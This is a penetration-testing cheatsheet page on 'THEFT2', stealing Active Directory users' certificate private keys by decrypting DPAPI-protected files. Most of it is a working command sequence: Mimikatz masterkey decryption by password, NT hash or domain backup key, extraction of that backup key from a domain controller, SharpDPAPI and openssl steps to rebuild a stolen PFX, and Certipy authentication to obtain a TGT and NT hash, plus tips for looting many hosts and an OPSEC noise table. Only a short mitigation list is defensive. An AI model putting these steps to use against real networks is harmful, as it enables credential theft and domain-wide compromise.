AD^:Active Directory

THEFT2 — User Certificate Theft via DPAPI

Windows protects user certificate private keys with DPAPI (Data Protection API). The encrypted key blobs live on disk; decrypting them normally requires…

advancedupdated 2026-08-10Mimikatz · Certipy · OpenSSL · PowerShell

THEFT2 — User Certificate Theft via DPAPI

Quick Reference

FieldValue
CategoryCredential Theft (local, DPAPI)
DifficultyMedium
Pre-requisitesAccess as the user (or their password/hash, or the domain DPAPI backup key)
ToolsSharpDPAPI, Mimikatz, Certipy, DonPAPI
OPSEC NoiseLow — file reads + offline decryption
One-linerDecrypt a user’s certificate private keys straight from the DPAPI-protected files on disk, without going through the certificate-store export APIs.

What Is THEFT2?

Windows protects user certificate private keys with DPAPI (Data Protection API). The encrypted key blobs live on disk; decrypting them normally requires the user’s logon secret. If you can read those files and obtain the DPAPI masterkey (via the user’s password/NT hash, an existing logon session, or the domain’s DPAPI backup key), you recover the private key offline, even when THEFT1’s export APIs are blocked.

Key locations (per user):

Private keys : %APPDATA%\Microsoft\Crypto\RSA\<SID>\
               %APPDATA%\Microsoft\Crypto\Keys\        (CNG)
Masterkeys   : %APPDATA%\Microsoft\Protect\<SID>\
Certificates : %APPDATA%\Microsoft\SystemCertificates\My\Certificates\

Step 1 — Decrypt the Masterkey

# From a live session as the user (Mimikatz auto-uses the logon secret)
mimikatz # dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<GUID>" /rpc

# With the user's password or NT hash (offline)
mimikatz # dpapi::masterkey /in:<masterkeyfile> /sid:<SID> /password:Passw0rd!
mimikatz # dpapi::masterkey /in:<masterkeyfile> /sid:<SID> /hash:<NTHASH>

[!tip] Domain DPAPI backup key = master skeleton If you are Domain Admin, extract the domain DPAPI backup key once (lsadump::backupkeys /system:DC01 /export) and decrypt any user’s masterkeys forever: dpapi::masterkey /in:<mk> /pvk:backupkey.pvk.


Step 2 — Decrypt the Private Key + Rebuild the PFX

# One-shot: SharpDPAPI finds certs, decrypts masterkeys, outputs .pem/.pfx
SharpDPAPI.exe certificates /mkfile:masterkeys.txt        # provide decrypted masterkeys
SharpDPAPI.exe certificates /pvk:backupkey.pvk            # or the domain backup key
# Mimikatz manual path
mimikatz # dpapi::capi /in:"%APPDATA%\Microsoft\Crypto\RSA\<SID>\<keyfile>"
# combine the recovered key with the public cert into a pfx with openssl
# openssl: stitch the decrypted key + cert into a usable pfx
openssl pkcs12 -export -inkey stolen.key -in stolen.crt -out stolen.pfx

Step 3 — Authenticate

certipy-ad auth -pfx stolen.pfx -dc-ip $TARGET      # PKINIT -> TGT + NT hash

[!tip] DonPAPI / Certipy remote DonPAPI automates remote DPAPI cert looting across many hosts. Handy when sweeping a subnet after gaining a domain foothold.


OPSEC Considerations

ActionArtefactNoise
Reading Crypto/Protect filesfile access events (if audited)🟢 Low
Offline masterkey decryptionnone (off-host)🟢 Low
lsadump::backupkeys on DCLSASS access on DC🔴 High

Mitigation

  • Protect keys with TPM/HSM so DPAPI blobs alone are useless.
  • Rotate the domain DPAPI backup key if DA compromise is suspected (non-trivial).
  • Limit lateral movement so attackers cannot read other users’ profiles.
  • Monitor DC access to lsadump::backupkeys behaviour and mass profile reads.

See Also

  • _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · THEFT3 — Machine Certificate Theft via DPAPI
  • Sources: SpecterOps Certified Pre-Owned; SharpDPAPI
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.